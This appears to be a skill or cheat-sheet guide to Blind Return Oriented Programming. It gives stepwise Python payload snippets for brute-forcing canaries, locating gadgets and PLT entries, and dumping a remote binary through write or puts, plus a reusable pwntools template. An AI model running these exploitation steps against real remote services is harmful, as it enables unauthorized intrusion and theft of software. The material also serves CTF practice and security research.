Blind Return Oriented Programming (BROP)

A technique to abuse ROP via buffer overflow without any information about the vulnerable binary. This attack requires:

• A stack vulnerability with known trigger method
• A server application that restarts after crashes

Attack Methodology

Step 1: Find Vulnerable Offset

Send incrementally larger payloads until server malfunction is detected:

# Start with small payload and increase
for length in range(100, 10000, 100):
    payload = b'A' * length
    send(payload)
    if server_crashes():
        print(f"Vulnerable offset found around: {length}")
        break

Step 2: Brute-Force Canary

The stack canary protects against buffer overflows. Brute-force it by sending different values until the crash behavior changes:

# Canary is typically 8 bytes on x64
# Brute-force byte by byte for efficiency
for byte in range(256):
    payload = b'A' * offset + bytes([byte])
    send(payload)
    if not server_crashes():
        canary += bytes([byte])
        break

See:

BF Forked & Threaded Stack Canaries

for detailed techniques.

Step 3: Brute-Force RBP and RIP Addresses

Leak the saved RBP and RIP addresses from the stack:

# These addresses are stored after the canary
# Brute-force to find valid addresses
payload = b'A' * offset + canary + rbp + rip

See:

Bypassing Canary and PIE

for detailed techniques.

Step 4: Find the Stop Gadget

A stop gadget confirms ROP execution without crashing. It's positioned at the end of the ROP chain:

# Stop gadget pattern
payload = b'A' * offset + canary + rbp + ADDR + 0xdead * 6 + STOP

If STOP executes, the address popped 6 registers from the stack.

Step 5: Find BROP Gadget (ret2csu)

The ret2csu gadget has a unique signature - it pops 6 registers. This allows control of

rsi

and

rdi

:

Key gadgets:

• pop rsi; pop r15; ret

  (BROP + 0x7)

• pop rdi; ret

  (BROP + 0x9)

Detection pattern:

# Test if address pops 6 registers
payload1 = b'A' * offset + canary + rbp + ADDR + 0xdead * 6 + STOP
# If STOP executes, ADDR pops 6 registers

# Confirm by testing without the 6 registers
payload2 = b'A' * offset + canary + rbp + ADDR
# Should NOT execute STOP

Once ret2csu is found, infer addresses of

rsi

and

rdi

control gadgets.

Step 6: Find PLT Table

The PLT (Procedure Linkage Table) can be searched from:

• 0x400000

  (non-PIE binaries)
• Leaked RIP address (PIE binaries)

PLT characteristics:

• Entries separated by 16 bytes (0x10)
• Function calls don't crash even with wrong arguments
• Entry + 0x6 also doesn't crash (first code executed)

Detection pattern:

# Test PLT entry
payload = b'A' * offset + canary + rbp + ADDR + STOP
# No crash = valid PLT entry

# Confirm with offset
payload = b'A' * offset + canary + rbp + (ADDR + 0x6) + STOP
# No crash = confirmed PLT entry

# Check next entry
payload = b'A' * offset + canary + rbp + (ADDR + 0x10) + STOP
# No crash = next PLT entry

Step 7: Find strcmp Function

strcmp

sets

rdx

to the string length (third argument). We need

rdx > 0

for later

write

calls.

Detection using strcmp behavior:

• strcmp(<non-read-addr>, <non-read-addr>)

  → crash

• strcmp(<non-read-addr>, <read-addr>)

  → crash

• strcmp(<read-addr>, <non-read-addr>)

  → crash

• strcmp(<read-addr>, <read-addr>)

  → no crash

PLT slow path probing:

# PLT + 0xb calls dl_resolve
# Follow with entry number to probe

# strcmp(<read-addr>, <read-addr>) - no crash
payload = (b'A' * offset + canary + rbp + 
           (BROP + 0x9) + RIP + 
           (BROP + 0x7) + RIP + 
           p64(0x0) + 
           (PLT + 0xb) + 
           p64(ENTRY) + 
           STOP)

Register gadget offsets:

• BROP + 0x7

  →

  pop RSI; pop R15; ret

• BROP + 0x9

  →

  pop RDI; ret

• PLT + 0xb

  →

  dl_resolve

  call

Step 8: Find Write Function

Exfiltrate binary data using

write

,

puts

, or

dprintf

.

Detection patterns:

puts(data):

payload = (b'A' * offset + canary + rbp + 
           (BROP + 0x9) + RIP + 
           (BROP + 0x7) + p64(0) + 
           p64(0) + 
           (PLT + 0xb) + 
           p64(ENTRY) + 
           STOP)
# Data printed = puts found

dprintf(fd, data):

payload = (b'A' * offset + canary + rbp + 
           (BROP + 0x9) + FD + 
           (BROP + 0x7) + RIP + 
           p64(0x0) + 
           (PLT + 0xb) + 
           p64(ENTRY) + 
           STOP)
# Data printed = dprintf found

write(fd, data, len):

payload = (b'A' * offset + canary + rbp + 
           (BROP + 0x9) + RIP + 
           (BROP + 0x7) + (RIP + 0x1) + 
           p64(0x0) + 
           (PLT + 0xb) + p64(STRCMP_ENTRY) + 
           (BROP + 0x9) + FD + 
           (BROP + 0x7) + RIP + 
           p64(0x0) + 
           (PLT + 0xb) + 
           p64(ENTRY) + 
           STOP)
# Data printed = write found

Finding file descriptor:

• Create multiple connections to the server
• Use high FD numbers hoping to match socket connections

Payload Construction Template

from pwn import *

def build_brop_payload(offset, canary, rbp, rip, gadget, args, stop):
    """Build a BROP payload with controlled arguments"""
    payload = b'A' * offset
    payload += canary
    payload += rbp
    payload += gadget  # ret2csu or similar
    
    # Add arguments (rsi, rdi control)
    for arg in args:
        payload += arg
    
    payload += stop
    return payload

Common Pitfalls

1. Server restart timing: Ensure you wait for server to restart between payloads
2. Canary randomization: Some systems re-randomize canary on each restart
3. PIE binaries: Use leaked RIP to calculate PLT base address
4. ASLR: May need to leak addresses before exploitation
5. Connection limits: Too many connections may trigger rate limiting

Tools and Resources

• Bropper: https://github.com/Hakumarachi/Bropper
• Original Paper: BROP - Blind Return Oriented Programming
• CTF Recipes: BROP Guide

When to Use This Skill

Use BROP when:

• You have a stack overflow but no binary information
• The target server restarts after crashes
• Traditional ROP is not possible due to lack of binary knowledge
• You need to exfiltrate binary data for further exploitation
• Working with remote services where you can't download the binary

Next Steps After BROP

Once you've exfiltrated the binary:

1. Analyze the binary locally with Ghidra/IDA
2. Build a proper ROP chain with known addresses
3. Execute the final exploit with full binary knowledge
4. Consider using the exfiltrated data to find additional vulnerabilities